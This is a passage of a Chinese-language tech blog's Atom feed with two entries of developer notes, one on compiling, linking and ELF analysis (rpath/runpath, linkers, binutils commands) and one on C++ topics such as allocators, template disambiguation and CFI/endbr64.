        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/compile-link-elf/"/>
        <id>https://vercel.juzhong.asia/2025/07/compile-link-elf/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/compile-link-elf/">&lt;h1 id=&quot;bian-yi-lian-jie-yu-elf&quot;&gt;编译链接与 ELF&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;dong-tai-ku-sou-suo-lu-jing&quot;&gt;动态库搜索路径&lt;&#x2F;h2&gt;
&lt;p&gt;一个编译好的可执行文件在运行时按以下顺序搜索动态库：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;可执行文件的 &lt;code&gt;rpath&lt;&#x2F;code&gt; 中列出的目录&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt; 环境变量&lt;&#x2F;li&gt;
&lt;li&gt;可执行文件的 &lt;code&gt;runpath&lt;&#x2F;code&gt; 指定的目录&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;etc&#x2F;ld.so.conf&lt;&#x2F;code&gt; 中的目录列表&lt;&#x2F;li&gt;
&lt;li&gt;默认系统库目录：&lt;code&gt;&#x2F;lib&lt;&#x2F;code&gt; 和 &lt;code&gt;&#x2F;usr&#x2F;lib&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;rpath-yu-runpath-de-qu-bie&quot;&gt;rpath 与 runpath 的区别&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rpath&lt;&#x2F;code&gt; 在 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt; 之前搜索&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;runpath&lt;&#x2F;code&gt; 在 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt; 之后搜索&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;设置 rpath：&lt;code&gt;-Wl,-rpath,.&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;设置 runpath：&lt;code&gt;-Wl,--enable-new-dtags,-rpath,.&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;origin-bian-liang&quot;&gt;$ORIGIN 变量&lt;&#x2F;h3&gt;
&lt;p&gt;rpath&#x2F;runpath 支持 &lt;code&gt;$ORIGIN&lt;&#x2F;code&gt; 表示可执行文件所在目录：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;g++ -o main main.o -lrandom -L. -Wl,-rpath,&amp;quot;\$ORIGIN&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;安全注意&lt;&#x2F;strong&gt;：setuid 程序会忽略 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt; 和包含 &lt;code&gt;$ORIGIN&lt;&#x2F;code&gt; 的 rpath&#x2F;runpath，防止权限提升攻击。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;rpath-diao-shi-bei-wang-lu&quot;&gt;rpath 调试备忘录&lt;&#x2F;h2&gt;
&lt;p&gt;遇到 &lt;code&gt;error while loading shared libraries&lt;&#x2F;code&gt; 时：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;ldd &amp;lt;executable&amp;gt;&lt;&#x2F;code&gt; 查看缺失依赖&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;readelf -d &amp;lt;executable&amp;gt; | grep NEEDED&lt;&#x2F;code&gt; 检查直接依赖&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;LD_DEBUG=libs ldd &amp;lt;executable&amp;gt;&lt;&#x2F;code&gt; 查看搜索过程&lt;&#x2F;li&gt;
&lt;li&gt;通过 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt; 或 rpath&#x2F;runpath 添加搜索目录&lt;&#x2F;li&gt;
&lt;li&gt;如果 &lt;code&gt;ldd&lt;&#x2F;code&gt; 没有缺失项但仍报错，检查是否有 setuid 权限&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;wei-shen-me-dong-tai-ku-li-bu-neng-jing-tai-lian-jie&quot;&gt;为什么动态库里不能静态链接&lt;&#x2F;h2&gt;
&lt;p&gt;将 &lt;code&gt;.a&lt;&#x2F;code&gt; 静态链接进 &lt;code&gt;.so&lt;&#x2F;code&gt; 的问题：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;装载问题&lt;&#x2F;strong&gt;：&lt;code&gt;execve()&lt;&#x2F;code&gt; 系统调用只负责装载动态库（&lt;code&gt;.so&lt;&#x2F;code&gt;），静态库 &lt;code&gt;.a&lt;&#x2F;code&gt; 不会被单独装载&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;符号冲突&lt;&#x2F;strong&gt;：Linux 动态链接器的符号调解策略是&quot;先入为主&quot;，来自 &lt;code&gt;.a&lt;&#x2F;code&gt; 的符号可能与系统 &lt;code&gt;libstdc++.so&lt;&#x2F;code&gt; 冲突&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;全局变量重复&lt;&#x2F;strong&gt;：&lt;code&gt;libstdc++&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;libpthread&lt;&#x2F;code&gt; 维护的全局状态会出现两份，导致运行时异常&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;正确做法&lt;&#x2F;strong&gt;：将 &lt;code&gt;.a&lt;&#x2F;code&gt; 解包成 &lt;code&gt;.o&lt;&#x2F;code&gt; 文件再链接进 &lt;code&gt;.so&lt;&#x2F;code&gt;，并用 &lt;code&gt;visibility&lt;&#x2F;code&gt; 隐藏符号。但即使如此，全局变量重复的问题仍然存在，不推荐这种做法。&lt;&#x2F;p&gt;
&lt;p&gt;若需静态链接标准库到可执行文件：使用 &lt;code&gt;-static&lt;&#x2F;code&gt;（全静态）或 &lt;code&gt;-static-libstdc++&lt;&#x2F;code&gt;（仅静态链接 libstdc++）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lian-jie-qi-dui-bi-ld-bfd-ld-gold-mold&quot;&gt;链接器对比：ld.bfd &#x2F; ld.gold &#x2F; mold&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;链接器&lt;&#x2F;th&gt;&lt;th&gt;特点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;ld.bfd&lt;&#x2F;td&gt;&lt;td&gt;GNU 默认链接器，兼容性最好&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;ld.gold&lt;&#x2F;td&gt;&lt;td&gt;速度更快，但不支持 &lt;code&gt;--copy-dt-needed-entries&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;mold&lt;&#x2F;td&gt;&lt;td&gt;现代化设计，速度极快（构建 LLVM 快 2 倍）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;ld.gold 注意事项&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不支持 &lt;code&gt;--copy-dt-needed-entries&lt;&#x2F;code&gt;，间接依赖必须显式指定&lt;&#x2F;li&gt;
&lt;li&gt;默认不生成 &lt;code&gt;.gnu.hash&lt;&#x2F;code&gt; 段，需加 &lt;code&gt;-Wl,--hash-style=gnu&lt;&#x2F;code&gt; 或 &lt;code&gt;--hash-style=both&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;-fuse-ld=gold&lt;&#x2F;code&gt; 启用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;mold 在 Cargo 中的配置&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;[target.x86_64-unknown-linux-gnu]
linker = &amp;quot;clang&amp;quot;
rustflags = [&amp;quot;-C&amp;quot;, &amp;quot;link-arg=-fuse-ld=mold&amp;quot;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可直接 &lt;code&gt;mold -run cargo build&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;CMake 配置&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;-DCMAKE_EXE_LINKER_FLAGS=&amp;quot;-fuse-ld=mold&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;elf-er-jin-zhi-fen-xi&quot;&gt;ELF 二进制分析&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;gnu-binutils-chang-yong-gong-ju&quot;&gt;GNU Binutils 常用工具&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;工具&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;readelf&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查看 ELF 头、段表、节表、符号表、重定位&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;objdump&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;反汇编、查看节内容&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;nm&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;列出目标文件符号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;strings&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;提取可打印字符串&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;strip&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;剥离符号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;c++filt&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;还原 C++ mangled 名称&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;addr2line&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;地址转文件名和行号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ldd&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;查看动态库依赖&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;chang-yong-ming-ling&quot;&gt;常用命令&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;readelf -h &amp;lt;elf&amp;gt;          # ELF 头部
readelf -S &amp;lt;elf&amp;gt;          # 节表
readelf -l &amp;lt;elf&amp;gt;          # 段表（program headers）
readelf -s &amp;lt;elf&amp;gt;          # 符号表
readelf --relocs &amp;lt;elf&amp;gt;    # 重定位信息
readelf -d &amp;lt;elf&amp;gt; | grep NEEDED  # 动态依赖

objdump -s -j .rodata &amp;lt;elf&amp;gt;     # 查看 .rodata 节内容
objdump -b binary -D &amp;lt;bin&amp;gt; -m i386  # 反汇编裸二进制

ldd &amp;lt;elf&amp;gt;                 # 递归查看动态依赖
LD_DEBUG=bindings ldd &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;ls  # 调试动态链接过程
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ld-debug-xuan-xiang&quot;&gt;LD_DEBUG 选项&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;libs       — 库搜索路径
reloc      — 重定位处理
symbols    — 符号表查找
bindings   — 符号绑定
versions   — 版本依赖
all        — 以上所有
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;sheng-cheng-map-wen-jian&quot;&gt;生成 Map 文件&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc -o main main.c -Wl,-Map,main.map
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;cha-kan-bian-yi-qi-yu-ding-yi-hong&quot;&gt;查看编译器预定义宏&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;g++ -E -dM - &amp;lt; &amp;#x2F;dev&amp;#x2F;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cflags-ldflags&quot;&gt;CFLAGS &#x2F; LDFLAGS&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;CFLAGS=&amp;quot;-g -O2&amp;quot;
LDFLAGS=&amp;quot;-L&amp;#x2F;opt&amp;#x2F;lib -Wl,-R&amp;#x2F;opt&amp;#x2F;lib&amp;quot;  # -R 同时设置运行时搜索路径
LIBS=&amp;quot;-lpthread -liconv&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;LDFLAGS&lt;&#x2F;code&gt; 指定 &lt;code&gt;-L&lt;&#x2F;code&gt; 只能让链接器在编译时找到库，运行时仍需通过 rpath 或 &lt;code&gt;LD_LIBRARY_PATH&lt;&#x2F;code&gt; 指定；添加 &lt;code&gt;-Wl,-R&amp;lt;path&amp;gt;&lt;&#x2F;code&gt; 可将路径写入 ELF。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chang-yong-bian-yi-xuan-xiang&quot;&gt;常用编译选项&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc -mxgot ...             # MIPS 大 GOT 支持
gcc -Wl,-z,max-page-size=4096  # 控制页对齐
gcc -fno-pie -no-pie ...   # 禁用 PIE
gcc -static ...            # 全静态链接
gcc -static-libstdc++ ...  # 仅静态链接 libstdc++
gcc -Wl,--verbose ...      # 查看链接器详细过程

# 查看编译选项
readelf -p .comment &amp;lt;elf&amp;gt;  # 查看编译器版本信息
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;rust-bian-yi-diao-shi&quot;&gt;Rust 编译调试&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;export RUSTFLAGS=&amp;quot;-C link-arg=-Wl,--verbose&amp;quot;
export RUSTC_LOG=rustc_codegen_ssa::back::link=info
cargo build --bin http-proxy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;at-t-yu-intel-hui-bian-yu-fa&quot;&gt;AT&amp;amp;T 与 Intel 汇编语法&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;区别&lt;&#x2F;th&gt;&lt;th&gt;AT&amp;amp;T&lt;&#x2F;th&gt;&lt;th&gt;Intel&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;寄存器前缀&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;%eax&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;eax&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;立即数前缀&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;$1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;操作数顺序&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;movl $1, %eax&lt;&#x2F;code&gt; (源→目的)&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;mov eax, 1&lt;&#x2F;code&gt; (目的←源)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;内存寻址&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;immed32(base, index, scale)&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;[base + index*scale + immed32]&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;switch-case-zhong-ding-yi-bian-liang&quot;&gt;Switch Case 中定义变量&lt;&#x2F;h2&gt;
&lt;p&gt;C&#x2F;C++ 中 &lt;code&gt;switch&lt;&#x2F;code&gt; 的 &lt;code&gt;case&lt;&#x2F;code&gt; 标签后不能直接定义变量，因为变量的初始化可能因条件不满足而被跳过。解决方案：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;{}&lt;&#x2F;code&gt; 括起来创建作用域&lt;&#x2F;li&gt;
&lt;li&gt;将变量定义在 &lt;code&gt;switch&lt;&#x2F;code&gt; 之外&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;sockaddr-yu-sockaddr-in&quot;&gt;sockaddr 与 sockaddr_in&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sockaddr&lt;&#x2F;code&gt;：通用套接字地址，&lt;code&gt;sa_data[14]&lt;&#x2F;code&gt; 混合存放地址和端口&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sockaddr_in&lt;&#x2F;code&gt;：IPv4 专用，将端口（&lt;code&gt;sin_port&lt;&#x2F;code&gt;）和地址（&lt;code&gt;sin_addr&lt;&#x2F;code&gt;）分开存储&lt;&#x2F;li&gt;
&lt;li&gt;二者长度相同（16 字节），可以强制类型转换&lt;&#x2F;li&gt;
&lt;li&gt;使用时先填充 &lt;code&gt;sockaddr_in&lt;&#x2F;code&gt;，再转为 &lt;code&gt;sockaddr&lt;&#x2F;code&gt; 传入函数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;htons()&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;htonl()&lt;&#x2F;code&gt; 将主机字节序转为网络字节序&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;inet_addr()&lt;&#x2F;code&gt; 将 IP 字符串转为网络字节序整数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>C++ 技术笔记</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/cpp-notes/"/>
        <id>https://vercel.juzhong.asia/2025/07/cpp-notes/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/cpp-notes/">&lt;h1 id=&quot;c-ji-shu-bi-ji&quot;&gt;C++ 技术笔记&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;nei-cun-fen-pei-qi-gai-lan&quot;&gt;内存分配器概览&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 下常见的 malloc 实现：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ptmalloc&lt;&#x2F;strong&gt; — glibc 默认分配器，基于 arena 的多线程优化&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;tcmalloc&lt;&#x2F;strong&gt; — Google 开发，线程本地缓存，小对象分配极快&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;mimalloc&lt;&#x2F;strong&gt; — Microsoft 出品，性能优于 tcmalloc 和 jemalloc&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;jemalloc&lt;&#x2F;strong&gt; — FreeBSD 默认，广泛应用于高性能服务&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;C++ 可通过自定义 allocator 替换底层分配策略。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dong-tai-ku-zhong-de-dan-li-wen-ti&quot;&gt;动态库中的单例问题&lt;&#x2F;h2&gt;
&lt;p&gt;在动态库中使用单例时可能产生多个实例，根因是符号隔离：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;头文件中定义的静态局部变量，每个 &lt;code&gt;.so&lt;&#x2F;code&gt; 各自生成一份&lt;&#x2F;li&gt;
&lt;li&gt;模板单例在不同动态库中独立实例化&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;解决方案&lt;&#x2F;strong&gt;：将单例实例的定义放到 &lt;code&gt;.cpp&lt;&#x2F;code&gt; 源文件中，避免头文件重复生成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; singleton.cpp
Singleton&amp;amp; Singleton::instance() {
    static Singleton instance;
    return instance;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;mo-ban-tui-dao-yu-template-typename-guan-jian-zi&quot;&gt;模板推导与 &lt;code&gt;template&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;typename&lt;&#x2F;code&gt; 关键字&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;template-xiao-qi-yi&quot;&gt;&lt;code&gt;template&lt;&#x2F;code&gt; 消歧义&lt;&#x2F;h3&gt;
&lt;p&gt;在模板函数中调用依赖模板参数的成员函数模板时，编译器不会自动推导第二层：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template&amp;lt;class T&amp;gt;
int call(T t) {
    return t.value.template a&amp;lt;int&amp;gt;();  &amp;#x2F;&amp;#x2F; 必须用 template 关键字
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;template&lt;&#x2F;code&gt; 告诉编译器 &lt;code&gt;a&lt;&#x2F;code&gt; 是一个模板，需要再次推导生成具体符号。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;typename-xiao-qi-yi&quot;&gt;&lt;code&gt;typename&lt;&#x2F;code&gt; 消歧义&lt;&#x2F;h3&gt;
&lt;p&gt;在模板内部，依赖于模板参数的类型名称（嵌套从属名称）必须用 &lt;code&gt;typename&lt;&#x2F;code&gt; 声明：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template&amp;lt;typename T&amp;gt;
void fun(const T&amp;amp; proto) {
    typename T::const_iterator it(proto.begin());  &amp;#x2F;&amp;#x2F; 必须声明为类型
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;没有 &lt;code&gt;typename&lt;&#x2F;code&gt;，编译器无法区分 &lt;code&gt;T::const_iterator&lt;&#x2F;code&gt; 是类型还是静态成员变量。在模板参数声明中 &lt;code&gt;typename&lt;&#x2F;code&gt; 和 &lt;code&gt;class&lt;&#x2F;code&gt; 等价，但在嵌套从属名称消歧义时只能用 &lt;code&gt;typename&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cfi-yu-endbr64-zhi-ling&quot;&gt;CFI 与 &lt;code&gt;endbr64&lt;&#x2F;code&gt; 指令&lt;&#x2F;h2&gt;
&lt;p&gt;**CFI（Control Flow Integrity）**是一种防御控制流劫持的机制。攻击手段演进：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;代码注入 → DEP（数据执行保护）&lt;&#x2F;li&gt;
&lt;li&gt;代码重用（ROP&#x2F;JOP）→ CFI&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;Intel CET&lt;&#x2F;strong&gt; 提供硬件级 CFI，包含两部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shadow Stack&lt;&#x2F;strong&gt;：追踪返回地址&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Indirect Branch Tracking&lt;&#x2F;strong&gt;：&lt;code&gt;endbr64&lt;&#x2F;code&gt; 指令是其组成部分&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;endbr64&lt;&#x2F;code&gt; 标记间接跳转的有效目标。若 CET 未启用，该指令退化为 NOP，不影响旧处理器。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;luo-ji-chu-ling-xing-wei&quot;&gt;裸机除零行为&lt;&#x2F;h2&gt;
&lt;p&gt;Intel x86 CPU 在裸机（BIOS 环境）执行除法指令时，除零会触发 0 号中断。BIOS 的中断向量表将 0 号中断指向 &lt;code&gt;dummy_iret_handler&lt;&#x2F;code&gt;（地址 &lt;code&gt;f000:ff53&lt;&#x2F;code&gt;），这个处理函数只执行 &lt;code&gt;iret&lt;&#x2F;code&gt; 直接返回，导致 CPU 在除法指令和中断处理之间无限循环。操作系统启动后会重写中断向量表，用自己的异常处理机制接管。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bian-liang-yu-han-shu-ming-ming&quot;&gt;变量与函数命名&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;chang-yong-dui-li-ming-ming&quot;&gt;常用对立命名&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;命名对&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;指针&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;prev&#x2F;next&lt;&#x2F;code&gt;, &lt;code&gt;front&#x2F;back&lt;&#x2F;code&gt;, &lt;code&gt;head&#x2F;tail&lt;&#x2F;code&gt;, &lt;code&gt;left&#x2F;right&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;状态&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;valid&#x2F;invalid&lt;&#x2F;code&gt;, &lt;code&gt;empty&#x2F;full&lt;&#x2F;code&gt;, &lt;code&gt;free&#x2F;busy&lt;&#x2F;code&gt;, &lt;code&gt;dead&#x2F;alive&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;顺序&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;first&#x2F;second&#x2F;last&lt;&#x2F;code&gt;, &lt;code&gt;before&#x2F;after&lt;&#x2F;code&gt;, &lt;code&gt;begin&#x2F;end&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;速度&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;fast&#x2F;slow&lt;&#x2F;code&gt;, &lt;code&gt;early&#x2F;late&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;范围&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;low&#x2F;high&lt;&#x2F;code&gt;, &lt;code&gt;floor&#x2F;ceil&lt;&#x2F;code&gt;, &lt;code&gt;small&#x2F;big&lt;&#x2F;code&gt;, &lt;code&gt;above&#x2F;below&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
